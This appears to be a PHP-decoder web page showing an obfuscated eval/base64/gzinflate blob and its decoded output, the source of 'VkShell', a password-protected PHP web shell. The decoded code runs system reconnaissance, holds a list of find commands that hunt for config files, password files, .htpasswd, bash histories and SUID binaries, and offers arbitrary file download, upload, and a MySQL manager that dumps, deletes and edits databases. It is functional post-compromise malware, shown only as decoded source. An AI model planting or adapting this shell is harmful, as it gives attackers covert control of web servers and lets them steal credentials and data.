Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(gzinflate(base64_decode(' 7b37e9q48jj8e5+n/4Pq5hTYTQiGpLkV2oSQhDRN Wsi96cMCNuDG2..

Decoded Output download

?><?
@session_start();
@set_time_limit(0);
@set_magic_quotes_runtime(0);
error_reporting(E_ALL & ~E_NOTICE);
#####cfg#####
# use password  true / false #
$create_password = true;
$password = "volk2288";    // default password for nstview, you can change it.

# UNIX COMMANDS
# description (nst) command
# example: Shutdown (nst) shutdown -h now
$fast_commands = "
Show open ports (nst) netstat -an | grep LISTEN | grep tcp
last root (nst) last root
last (all users) (nst) last all
Find all config.php in / (nst) find / -type f -name config.php
Find all config.php in . (nst) find . -type f -name config.php
Find all admin.php in / (nst) find / -type f -name admin.php
Find all admin.php in . (nst) find . -type f -name admin.php
Find all config.inc.php in / (nst) find / -type f -name config.inc.php
Find all config.inc.php in . (nst) find . -type f -name config.inc.php
Find all config.inc in / (nst) find / -type f -name config.inc
Find all config.inc in . (nst) find . -type f -name config.inc
Find all config.dat in / (nst) find / -type f -name config.dat
Find all config.dat in . (nst) find . -type f -name config.dat
Find all config* in / (nst) find / -type f -name config*
Find all config* in . (nst) find . -type f -name config*
Find all pass* in / (nst) find / -type f -name pass*
Find all pass* in . (nst) find . -type f -name pass*
Find all .bash_history in / (nst) find / -type f -name .bash_history
Find all .bash_history in . (nst) find . -type f -name .bash_history
Find all .htpasswd  in / (nst) find / -type f -name .htpasswd
Find all .htpasswd  in . (nst) find . -type f -name .htpasswd
Find all writable dirs/files in / (nst) find / -perm -2 -ls
Find all writable dirs/files in . (nst) find . -perm -2 -ls
Find all suid files in / (nst) find / -type f -perm -04000 -ls
Find all suid files in . (nst) find . -type f -perm -04000 -ls
Find all sgid files in / (nst) find / -type f -perm -02000 -ls
Find all sgid files in . (nst) find . -type f -perm -02000 -ls
Find all .fetchmailrc files in / (nst) find / -type f -name .fetchmailrc
Find all .fetchmailrc files in . (nst) find . -type f -name .fetchmailrc
OS Version? (nst) sysctl -a | grep version
Kernel version? (nst) cat /proc/version
cat syslog.conf (nst) cat /etc/syslog.conf
Cat - Message of the day (nst) cat /etc/motd
Cat hosts (nst) cat /etc/hosts
Distrib name (nst) cat /etc/issue.net
Distrib name (2) (nst) cat /etc/*-realise
Display all process - wide output (nst) ps auxw
Display all your process (nst) ps ux
Interfaces (nst) ifconfig
CPU? (nst) cat /proc/cpuinfo
RAM (nst) free -m
HDD space (nst) df -h
List of Attributes (nst) lsattr -a
Mount options (nst) cat /etc/fstab
Is cURL installed? (nst) which curl
Is wGET installed? (nst) which wget
Is lynx installed? (nst) which lynx
Is links installed? (nst) which links
Is fetch installed? (nst) which fetch
Is GET installed? (nst) which GET
Is perl installed? (nst) which perl
Where is apache (nst) whereis apache
Where is perl (nst) whereis perl
locate proftpd.conf (nst) locate proftpd.conf
locate httpd.conf (nst) locate httpd.conf
locate my.conf (nst) locate my.conf
locate psybnc.conf (nst) locate psybnc.conf
";



# WINDOWS COMMANDS
# description (nst) command
# example: Delete autoexec.bat (nst) del c:utoexec.bat
$fast_commands_win = "
OS Version (nst) ver
Tasklist  (nst) tasklist
Attributes in . (nst) attrib
Show open ports (nst) netstat -an
";





######ver####
$ver= "v2.1";
#############
$pass=$_POST['pass'];
if($pass==$password){
$_SESSION['nst']="$pass";
}
if ($_SERVER["HTTP_CLIENT_IP"]) $ip = $_SERVER["HTTP_CLIENT_IP"];
else if($_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if($_SERVER["REMOTE_ADDR"]) $ip = $_SERVER["REMOTE_ADDR"];
else $ip = $_SERVER['REMOTE_ADDR'];
$ip=htmlspecialchars($ip);

if($create_password==true){

if(!isset($_SESSION['nst']) or $_SESSION['nst']!=$password){
die("
<title>VkShell 1.0 by Volk</title>
<center>
<table width=100 bgcolor=#D7CCER6 border=1 bordercolor=black><tr><td>
<font size=1 face=verdana><center>
<b>VkShell $ver :: <a href=http://hackmexico.net style='text-decoration:none;'><font color=black>hackmexico.net</font></a><br></b>
</center>
<form method=post>
Password:<br>
<input type=password name=pass size=30 tabindex=1>
</form>
<b>Host:</b> ".$_SERVER["HTTP_HOST"]."<br>
<b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>
<b>Your ip:</b> ".$ip."
</td></tr></table>
");}

}
$d=$_GET['d'];

function adds($editf){
#if(get_magic_quotes_gpc()==0){
$editf=addslashes($editf);
#}
return $editf;
}
function adds2($editf){
if(get_magic_quotes_gpc()==0){
$editf=addslashes($editf);
}
return $editf;
}

$f   = "nst_sql.txt";
$f_d = $_GET['f_d'];

if($_GET['download']){
$download=$_GET['download'];
header("Content-disposition: attachment; filename=\"$download\";");
readfile("$d/$download");
exit;}

if($_GET['dump_download']){
header("Content-disposition: attachment; filename=\"$f\";");
header("Content-length: ".filesize($f_d."/".$f));
header("Expires: 0");
readfile($f_d."/".$f);
if(is_writable($f_d."/".$f)){
unlink($f_d."/".$f);
}
die;
}


$images=array(".gif",".jpg",".png",".bmp",".jpeg");
$whereme=getcwd();
@$d=@$_GET['d'];
$copyr = "<center><a href=http://hackmexico.net target=_blank>VkShell By Volk $ver<br>Hackmexico</a>";
$php_self=@$_SERVER['PHP_SELF'];
if(@eregi("/",$whereme)){$os="unix";}else{$os="win";}
if(!isset($d)){$d=$whereme;}
$d=str_replace("\","/",$d);
if(@$_GET['p']=="info"){
@phpinfo();
exit;}
if(@$_GET['img']=="1"){
@$e=$_GET['e'];
header("Content-type: image/gif");
readfile("$d/$e");
}
if(@$_GET['getdb']=="1"){
header('Content-type: application/plain-text');
header('Content-Disposition: attachment; filename=nst-mysql-damp.htm');
}
print "<title>VkShell $ver</title>
<style>
BODY, TD, TR {
text-decoration: none;
font-family: Verdana;
font-size: 8pt;
SCROLLBAR-FACE-COLOR: #363d4e;
SCROLLBAR-HIGHLIGHT-COLOR: #363d4e;
SCROLLBAR-SHADOW-COLOR: #363d4e;
SCROLLBAR-ARROW-COLOR: #363d4e;
SCROLLBAR-TRACK-COLOR: #91AAFF
}
input, textarea, select {
font-family: Verdana;
font-size: 10px;
color: black;
background-color: white;
border: solid 1px;
border-color: black
}
UNKNOWN {
COLOR: #0006DE;
TEXT-DECORATION: none
}
A:link {
COLOR: #0006DE;
TEXT-DECORATION: none
}
A:hover {
COLOR: #FF0C0B;
TEXT-DECORATION: none
}
A:active {
COLOR: #0006DE;
TEXT-DECORATION: none
}
A:visited {
TEXT-DECORATION: none
}
</style>
<script>
function ShowOrHide(d1, d2) {
if (d1 != '') DoDiv(d1);
if (d2 != '') DoDiv(d2);}

function DoDiv(id) {
var item = null;
if (document.getElementById) {
item = document.getElementById(id);
} else if (document.all){
item = document.all[id];
} else if (document.layers){
item = document.layers[id];}
if (!item) {}
else if (item.style) {
if (item.style.display == \"none\"){ item.style.display = \"\"; }
else {item.style.display = \"none\"; }
}else{ item.visibility = \"show\"; }}

function cwd(text){
document.sh311Form.sh3.value+=\" \"+ text;
document.sh311Form.sh3.focus();
}


</script>
";
print "<body vlink=#0006DE>
<table width=600 border=0 cellpadding=0 cellspacing=1 bgcolor=#D7CCER6 align=center>
<tr><td><font face=wingdings size=2>0</font>";
$expl=explode("/",$d);
$coun=count($expl);
if($os=="unix"){echo "<a href='$php_self?d=/'>/</a>";}
else{
        echo "<a href='$php_self?d=$expl[0]'>$expl[0]/</a>";}
for($i=1; $i<$coun; $i++){
        @$xx.=$expl[$i]."/";
$sls="<a href='$php_self?d=$expl[0]/$xx'>$expl[$i]</a>/";
$sls=str_replace("//","/",$sls);
$sls=str_replace("/'></a>/","/'></a>",$sls);
print $sls;
}
if(@ini_get("register_globals")){$reg_g="ON";}else{$reg_g="OFF";}
if(@ini_get("safe_mode")){$safe_m="ON";}else{$safe_m="OFF";}
echo "</td></tr>";
if($os=="unix"){ echo "
<tr><td><b>id:</b> ".@exec('id')."</td></tr>
<tr><td><b>uname -a:</b> ".@exec('uname -a')."</td></tr>";} echo"
<tr><td><b>Your IP: [<font color=#5F3CC1>$ip</font>] Server IP: [<font color=#5F3CC1>".gethostbyname($_SERVER["HTTP_HOST"])."</font>] Server <a href=# title='Host.Domain'>H.D.</a>: [<font color=#5F3CC1>".$_SERVER["HTTP_HOST"]."</font>]</b><br>
[<b>Safe mode:</b> $safe_m] [<b>Register globals:</b> $reg_g]<br>
[<a href=# onClick=location.href=\"javascript:history.back(-1)\">Back</a>]
[<a href='$php_self'>Home</a>]
[<a href='$php_self?d=$d&sh311=1'>Shell (1)</a> <a href='$php_self?d=$d&sh311=2'>(2)</a>]
[<a href='$php_self?d=$d&t=upload'>Upload</a>]
[<a href='$php_self?t=tools'>Tools</a>]
[<a href='$php_self?p=info'>PHPinfo</a>]
[<a href='$php_self?delfolder=$d&d=$d&delfl=1&rback=$d' title='$d'>DEL Folder</a>]
[<a href='$php_self?p=sql'>SQL</a>]
[<a href='$php_self?p=selfremover'>Self Remover</a>]
</td></tr>
";
if($os=="win"){ echo "
<tr><td bgcolor=white>
<center><font face=wingdings size=2><</font>
<a href='$php_self?d=a:/'>A</a>
<a href='$php_self?d=b:/'>B</a>
<a href='$php_self?d=c:/'>C</a>
<a href='$php_self?d=d:/'>D</a>
<a href='$php_self?d=e:/'>E</a>
<a href='$php_self?d=f:/'>F</a>
<a href='$php_self?d=g:/'>G</a>
<a href='$php_self?d=h:/'>H</a>
<a href='$php_self?d=i:/'>I</a>
<a href='$php_self?d=j:/'>J</a>
<a href='$php_self?d=k:/'>K</a>
<a href='$php_self?d=l:/'>L</a>
<a href='$php_self?d=m:/'>M</a>
<a href='$php_self?d=n:/'>N</a>
<a href='$php_self?d=o:/'>O</a>
<a href='$php_self?d=p:/'>P</a>
<a href='$php_self?d=q:/'>Q</a>
<a href='$php_self?d=r:/'>R</a>
<a href='$php_self?d=s:/'>S</a>
<a href='$php_self?d=t:/'>T</a>
<a href='$php_self?d=u:/'>U</a>
<a href='$php_self?d=v:/'>V</a>
<a href='$php_self?d=w:/'>W</a>
<a href='$php_self?d=x:/'>X</a>
<a href='$php_self?d=y:/'>Y</a>
<a href='$php_self?d=z:/'>Z</a>
</td></tr>";}else{echo "<tr><td>&nbsp;</td></tr>";}
print "<tr><td>
:: <a href='$php_self?d=$d&mkdir=1'>Create folder</a> ::
<a href='$php_self?d=$d&mkfile=1'>Create file</a> ::
<a href='$php_self?d=$d&read_file_safe_mode=1'>Read file if safe mode is On</a> ::";
if($os=="unix"){
print "<a href='$php_self?d=$d&ps_table=1'>PS table</a> ::";
}
print "</td></tr>";





if($_GET['p']=="ftp"){
print "<tr><td>";



print "</td></tr></table>";
print $copyr;
exit;
}










if(@$_GET['p']=="sql"){
print "<tr><td>";
###

$f_d = $_GET['f_d'];
if(!isset($f_d)){$f_d=".";}
if($f_d==""){$f_d=".";}

$php_self=$_SERVER['PHP_SELF'];
$delete_table=$_GET['delete_table'];
$tbl=$_GET['tbl'];
$from=$_GET['from'];
$to=$_GET['to'];
$adress=$_POST['adress'];
$port=$_POST['port'];
$login=$_POST['login'];
$pass=$_POST['pass'];
$adress=$_GET['adress'];
$port=$_GET['port'];
$login=$_GET['login'];
$pass=$_GET['pass'];
$conn=$_GET['conn'];
if(!isset($adress)){$adress="localhost";}
if(!isset($login)){$login="root";}
if(!isset($pass)){$pass="";}
if(!isset($port)){$port="3306";}
if(!isset($from)){$from=0;}
if(!isset($to)){$to=50;}


?>
<style>
table,td{
color: black;
font-face: verdana;
font-size: 11px;

}
</style>
<font color=black face=verdana size=1>
<? if(!$conn){ ?>

<!-- table 1 -->
<table bgcolor=#D7FFA8>
<tr><td valign=top>Address:</td><td><form><input name=adress value='<?=$adress?>' size=20><input name=port value='<?=$port?>' size=6></td></tr>
<tr><Td valign=top>Login: </td><td><input name=login value='<?=$login?>' size=10></td></tr>
<tr><Td valign=top>Pass:</td><td> <input name=pass value='<?=$pass?>' size=10><input type=hidden name=p value=sql></td></tr>
<tr><td></td><td><input type=submit name=conn value=Connect></form></td></tr><?}?>
<tr><td valign=top><? if($conn){ echo "<b>PHP v".@phpversion()."<br>mySQL v".@mysql_get_server_info()."<br>";}?></b></td><td></td></tr>
</table>
<!-- end of table 1 -->


<?
$conn=$_GET['conn'];
$adress=$_GET['adress'];
$port=$_GET['port'];
$login=$_GET['login'];
$pass=$_GET['pass'];
if($conn){

$serv = @mysql_connect($adress.":".$port, $login,$pass) or die("<font color=red>Error: ".mysql_error()."</font>");
if($serv){$status="Connected. :: <a href='$php_self?p=sql'>Log out</a>";}else{$status="Disconnected.";}
print "<b><font color=green>Status: $status<br><br>"; # #D7FFA8
print "<table cellpadding=0 cellspacing=0 bgcolor=#D7FFA8><tr><td valign=top>";
print "<br><font color=red>[db]</font><Br>";
print "<font color=white>";
$res = mysql_list_dbs($serv);
while ($str=mysql_fetch_row($res)){
print "<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&delete_db=$str[0]' onclick='return confirm(\"DELETE $str[0] ?\")'>[DEL]<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$str[0]&dump_db=$str[0]&f_d=$d'>[DUMP]</a></a> <b><a href='$php_self?baza=1&db=$str[0]&p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]'>$str[0]</a></b><br>";
$tc++;
}
$baza=$_GET['baza'];
$db=$_GET['db'];
print "<font color=red>[Total db: $tc]</font><br>";
if($baza){
print "<div align=left><font color=green>db: [$db]</div></font><br>";
$result=@mysql_list_tables($db);
while($str=@mysql_fetch_array($result)){
$c=mysql_query ("SELECT COUNT(*) FROM $str[0]");
$records=mysql_fetch_array($c);

if(strlen($str[0])>$s4ot){$s4ot=strlen($str[0]);}
if($records[0]=="0"){
print "<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&delete_table=$str[0]' onclick='return confirm(\"DELETE $str[0] ?\")' title='Delete $str[0]?'>[D]</a><a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1&rename_table=$str[0]' title='Rename $str[0]'>[R]</a><font color=red>[$records[0]]</font> <a href='$php_self?vnutr=1&p=sql&vn=$str[0]&baza=1&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]&ins_new_line=1'>$str[0]</a><br>";
}else{
print "<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&delete_table=$str[0]' onclick='return confirm(\"DELETE $str[0] ?\")' title='Delete $str[0]?'>[D]</a><a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1&rename_table=$str[0]' title='Rename $str[0]'>[R]</a><font color=red>[$records[0]]</font> <a href='$php_self?vnutr=1&p=sql&vn=$str[0]&baza=1&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]'>$str[0]</a><br>";
}
mysql_free_result($c);
$total_t++;
}
print "<br><B><font color=red>Total tables: $total_t</font></b>";
                                print "<pre>";
for($i=0; $i<$s4ot+10; $i++){print "&nbsp;";}
                                print "</pre>";
} #end baza




# delete table
if(isset($delete_table)){
mysql_select_db($_GET['db']) or die("<font color=red>".mysql_error()."</font>");
mysql_query("DROP TABLE IF EXISTS $delete_table") or die("<font color=red>".mysql_error()."</font>");
print "<br><b><font color=green>Table [ $delete_table ] :: Deleted success!</font></b>";
print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1\">";
}
# end of delete table

# delete database
if(isset($_GET['delete_db'])){
mysql_drop_db($_GET['delete_db']) or die("<font color=red>".mysql_error()."</font>");
print "<br><b><font color=green>Database ".$_GET['delete_db']." :: Deleted Success!";
print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1\">";
}
# end of delete database

# delete row
if(isset($_POST['delete_row'])){
$_POST['delete_row'] = base64_decode($_POST['delete_row']);
mysql_query("DELETE FROM ".$_GET['tbl']." WHERE ".$_POST['delete_row']) or die("<font color=red>".mysql_error()."</font>");
$del_result = "<br><b><font color=green>Deleted Success!<br>".$_POST['delete_row'];
print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">";
}
# end of delete row


$vn=$_GET['vn'];
print "</td><td valign=top>";
print "<font color=green>Database: $db => $vn</font>";

# edit row
if(isset($_POST['edit_row'])){
$edit_row=base64_decode($_POST['edit_row']);

$r_edit = mysql_query("SELECT * FROM $tbl WHERE $edit_row") or die("<font color=red>".mysql_error()."</font>");
print "<br><br>
       <table border=0 cellpadding=1 cellspacing=1><tr>
       <td><b>Row</b></td><td><b>Value</b></td></tr>";
print  "<form method=post action='$php_self?p=sql&login=".$_GET['login']."&pass=".$_GET['pass']."&adress=".$_GET['adress']."&conn=1&baza=1&tbl=".$_GET['tbl']."&vn=".$_GET['vn']."&db=".$_GET['db']."'>";
print  "<input type=hidden name=edit_row value='".$_POST['edit_row']."'>";
print " <input type=radio name=upd value=update checked>Update<br>
        <input type=radio name=upd value=insert>Insert new<br><br>";


$i=0;
while($mn = mysql_fetch_array($r_edit, MYSQL_ASSOC)){
foreach($mn as $key =>$val){
$type  = mysql_field_type($r_edit, $i);
$len  = mysql_field_len($r_edit, $i);
$del .= "`$key`='".adds($val)."' AND ";
$c=strlen($val);
$val=htmlspecialchars($val, ENT_NOQUOTES);
$str=" <textarea name='$key' cols=39 rows=5>$val</textarea> ";
$buff .= "<tr><td bgcolor=silver><b>$key</b><br><font color=green>(<b>$type($len)</b>)</font></td><td>$str</td></tr>";
$i++;
}

}
$delstring=base64_encode($del);
print "<input type=hidden name=delstring value=\"$delstring\">";
print "$buff</table><br>";
print "<br>";
if(!$_POST['makeupdate']){print "<input type=submit value=Update name=makeupdate></form>";}




if($_POST['makeupdate']){
if($_POST['upd']=='update'){
preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3);
$delstring=$_POST['delstring'];
$delstring=base64_decode($delstring);
$delstring = substr($delstring, 0, strlen($delstring)-5);

for($i=0; $i<count($matches3[0]); $i++){
eval("\$".$matches3[1][$i]." = \"".adds2($_POST[$matches3[1][$i]])."\";");
$total_str .= $matches3[1][$i]."='".adds2($_POST[$matches3[1][$i]])."',";
}
$total_str = substr_replace($total_str,"",-1);
$up_string = "UPDATE `$tbl` SET $total_str WHERE $delstring";
$up_string = htmlspecialchars($up_string, ENT_NOQUOTES);
print "<b>PHP var:<br></b>\$sql=\"$up_string\";<br><br>";
print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">";
mysql_query($up_string) or die("<font color=red>".mysql_error()."</font>");
}#end of make update



if($_POST['upd']=='insert'){
preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3);
$delstring=$_POST['delstring'];
$delstring=base64_decode($delstring);
$delstring = substr($delstring, 0, strlen($delstring)-5);

for($i=0; $i<count($matches3[0]); $i++){
eval("\$".$matches3[1][$i]." = \"".adds2($_POST[$matches3[1][$i]])."\";");
$total_str .= $matches3[1][$i]."='".adds2($_POST[$matches3[1][$i]])."',,";
}

$total_str = ",,".$total_str;

preg_match_all("/,(.*?)='(.*?)',/i",$total_str,$matches4);

for($i=0; $i<count($matches4[1]); $i++){
        $matches4[1][0]=str_replace(",","",$matches4[1][0]);
        $total_m_i .= "`".$matches4[1][$i]."`,";
        $total_m_x .= "'".$matches4[2][$i]."',";
}
$total_m_i = substr($total_m_i, 0, strlen($total_m_i)-1);
$total_m_x = substr($total_m_x, 0, strlen($total_m_x)-1);

$make_insert="INSERT INTO `$tbl` ($total_m_i) VALUES ($total_m_x)";
mysql_query($make_insert) or die("<font color=red>".mysql_error()."</font>");
print "<b>PHP var:<br></b>\$sql=\"$make_insert\";<br><br>";
print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">";
}#end of insert
}#end of update
}
# end of edit row


# insert new line
if($_GET['ins_new_line']){
$qn = mysql_query('SHOW FIELDS FROM '.$tbl) or die("<font color=red>".mysql_error()."</font>");
print "<form method=post action='$php_self?p=sql&login=".$_GET['login']."&pass=".$_GET['pass']."&adress=".$_GET['adress']."&conn=1&baza=1&tbl=".$_GET['tbl']."&vn=".$_GET['vn']."&db=".$_GET['db']."&ins_new_line=1'>
Insert new line in <b>$tbl</b> table</b><Br><br>";
print "<table>";
while ($new_line = mysql_fetch_array($qn, MYSQL_ASSOC)) {
foreach ($new_line as $key =>$next) {
$buff .= "$next ";
}
$expl=explode(" ",$buff);
$buff2 .= $expl[0]." ";
print "<tr><td bgcolor=silver><b>$expl[0]</b><br><font color=green>(<b>$expl[1]</b>)</font></td>
<td><textarea name='$expl[0]' cols=39 rows=5></textarea>
</td></tr>";
unset($buff);
}
print "</table>
<center><input type=submit value=Insert name=mk_ins></form></center>";
if($_POST['mk_ins']){
preg_match_all("/(.*?)\s/i",$buff2,$matches3);
for($i=0; $i<count($matches3[0]); $i++){
eval("\$".$matches3[1][$i]." = \"".adds2($_POST[$matches3[1][$i]])."\";");
$total_str .= $matches3[1][$i]."='".adds2($_POST[$matches3[1][$i]])."',,";
}

$total_str = ",,".$total_str;
preg_match_all("/,(.*?)='(.*?)',/i",$total_str,$matches4);

for($i=0; $i<count($matches4[1]); $i++){
        $matches4[1][0]=str_replace(",","",$matches4[1][0]);
        $total_m_i .= "`".$matches4[1][$i]."`,";
        $total_m_x .= "'".$matches4[2][$i]."',";
}
$total_m_i = substr($total_m_i, 0, strlen($total_m_i)-1);
$total_m_x = substr($total_m_x, 0, strlen($total_m_x)-1);

$make_insert="INSERT INTO `$tbl` ($total_m_i) VALUES ($total_m_x)";
mysql_query($make_insert) or die("<font color=red>".mysql_error()."</font>");
print "<b>PHP var:<br></b>\$sql=\"$make_insert\";<br><br>";
print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">";
}#end of mk ins
}#end of ins new line






if(isset($_GET['rename_table'])){
$rename_table=$_GET['rename_table'];
print "<br><br>Rename <b>$rename_table</b> to<br><br>
<form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1&rename_table=$rename_table'>
<input name=new_name size=30><center><br>
<input type=submit value=Rename></center>
</form>
";

if(isset($_POST['new_name'])){
mysql_select_db($db) or die("<font color=red>".mysql_error()."</font>");
mysql_query("RENAME TABLE $rename_table TO ".$_POST['new_name']) or die("<font color=red>".mysql_error()."</font>");
print "<br><font color=green>Table <b>$rename_table</b> renamed to <b>".$_POST['new_name']."</b></font>";
print "<meta http-equiv=\"REFRESH\" content=\"2;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&db=$db\">";
}

}#end of rename


# dump table
if($_GET['dump']){
if(!is_writable($f_d)){die("<br><br><font color=red>This folder $f_d isnt writable!<br>Cannot make dump.<br><br>
<font color=green><b>You can change temp folder for dump file in your browser!<br>
<font color=red>Change variable &f_d=(here writable directory, expl: /tmp or c:/windows/temp)</font><br>
Then press enter</b></font>
</font>");}
mysql_select_db($db) or die("<font color=red>".mysql_error()."</font>");
$fp = fopen($f_d."/".$f,"w");
fwrite($fp, "# nsTView.php v$ver
# Web: http://nst.void.ru
# Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].")
# MySQL version: ".mysql_get_server_info()."
# PHP version: ".phpversion()."
# Date: ".date("d.m.Y - H:i:s")."
# Dump db ( $db ) Table ( $tbl )
# --- eof ---

");
$que = mysql_query("SHOW CREATE TABLE `$tbl`") or die("<font color=red>".mysql_error()."</font>");
$row = mysql_fetch_row($que);
fwrite($fp, "DROP TABLE IF EXISTS `$tbl`;
");
$row[1]=str_replace("
","
",$row[1]);
fwrite($fp, $row[1].";

");
$que = mysql_query("SELECT * FROM `$tbl`");
if(mysql_num_rows($que)>0){
while($row = mysql_fetch_assoc($que)){
$keys = join("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = adds2($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tbl`(`$keys`) VALUES ('".$values."');
";
fwrite($fp, $sql);
}
}
fclose($fp);
print "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&dump_download=1&f_d=$f_d/\">";
}#end of dump




# db dump
if($_GET['dump_db']){
$c=mysql_num_rows(mysql_list_tables($db));
if($c>=1){
print "<br><br>&nbsp;&nbsp;&nbsp;Dump database <b>$db</b>";
}else{
print "<br><br><font color=red>Cannot dump database. No tables exists in <b>$db</b> db.</font>";
die;
}
if(sizeof($tabs)==0){
$res = mysql_query("SHOW TABLES FROM $db");
if(mysql_num_rows($res)>0){
while($row=mysql_fetch_row($res)){
$tabs[] .= $row[0];
}
}
}
$fp = fopen($f_d."/".$f,"w");
fwrite($fp, "# nsTView.php v$ver
# Web: http://nst.void.ru
# Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].")
# MySQL version: ".mysql_get_server_info()."
# PHP version: ".phpversion()."
# Date: ".date("d.m.Y - H:i:s")."
# Dump db ( $db )
# --- eof ---

");
foreach($tabs as $tab) {
fwrite($fp,"DROP TABLE IF EXISTS `$tab`;
");
$res = mysql_query("SHOW CREATE TABLE `$tab`");
$row = mysql_fetch_row($res);
$row[1]=str_replace("
","
",$row[1]);
fwrite($fp, $row[1].";

");
$res = mysql_query("SELECT * FROM `$tab`");
if(mysql_num_rows($res)>0){
while($row=mysql_fetch_assoc($res)){
$keys = join("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = adds2($v);}
$values = join("', '", $values);
$sql = "INSERT INTO `$tab`(`$keys`) VALUES ('$values');
";
fwrite($fp, $sql);
}}
fwrite($fp, "


");
}
fclose($fp);
print "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&dump_download=1&f_d=$f_d/\">";
}#end of db dump






$vnutr=$_GET['vnutr'];
$tbl=$_GET['tbl'];
if($vnutr and !$_GET['ins_new_line']){
print "<table cellpadding=0 cellspacing=1><tr><td>";

mysql_select_db($db) or die(mysql_error());
$c=mysql_query ("SELECT COUNT(*) FROM $tbl");
$cfa=mysql_fetch_array($c);
mysql_free_result($c);
print "
Total: $cfa[0]
<form>
From: <input name=from size=3 value=0>
To: <input name=to size=3 value='$cfa[0]'>
<input type=submit name=show value=Show>
<input type=hidden name=vnutr value=1>
<input type=hidden name=vn value='$vn'>
<input type=hidden name=db value='$db'>
<input type=hidden name=login value='$login'>
<input type=hidden name=pass value='$pass'>
<input type=hidden name=adress value='$adress'>
<input type=hidden name=conn value=1>
<input type=hidden name=baza value=1>
<input type=hidden name=p value=sql>
<input type=hidden name=tbl value='$tbl'>
 [<a href='$php_self?getdb=1&to=$cfa[0]&vnutr=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&p=sql&tbl=$tbl'>DOWNLOAD</a>] [<a href='$php_self?to=$cfa[0]&vnutr=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&p=sql&tbl=$tbl&ins_new_line=1'>INSERT</a>] [<a href='$php_self?to=$cfa[0]&vnutr=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&p=sql&tbl=$tbl&dump=1&f_d=$d'>DUMP</a>]
</form></td></tr></table>";
$vn=$_GET['vn'];
$from=$_GET['from'];
$to=$_GET['to'];
$from=$_GET['from'];
$to=$_GET['to'];
if(!isset($from)){$from=0;}
if(!isset($to)){$to=50;}
$query = "SELECT * FROM $vn LIMIT $from,$to";
$result = mysql_query($query);
$result1= mysql_query($query);
print $del_result;
print "<table cellpadding=0 cellspacing=1 border=1><tr><td></td>";
for ($i=0;$i<mysql_num_fields($result);$i++){
$name=mysql_field_name($result,$i);
$type  = mysql_field_type($result, $i);
$len  = mysql_field_len($result, $i);
print "<td bgcolor=#BCE0FF> $name (<b>$type($len)</b>)</td>";
}
print "</tr><pre>";

while($mn = mysql_fetch_array($result, MYSQL_ASSOC)){
foreach($mn as $key=>$inside){
$buffer1 .= "`$key`='".adds($inside)."' AND ";
$b1 .= "<td>".htmlspecialchars($inside, ENT_NOQUOTES)."&nbsp;</td>";
}
$buffer1  = substr($buffer1, 0, strlen($buffer1)-5);
$buffer1  = base64_encode($buffer1);
print "<td>
<form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$tbl&vnutr=1&baza=1&vn=$vn&db=$db'>
<input type=hidden name=delete_row value='$buffer1'>
<input type=submit value=Del onclick='return confirm(\"DELETE ?\")' style='border:1px; background-color:white;'>
</form><form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$tbl&baza=1&vn=$vn&db=$db'>
<input type=hidden name=edit_row value='$buffer1'>
<input type=submit value=Edit style='border:1px;background-color:green;'>
</form>
</td>
";
print $b1;
print "</tr>";
unset($b1);
unset($buffer1);
}



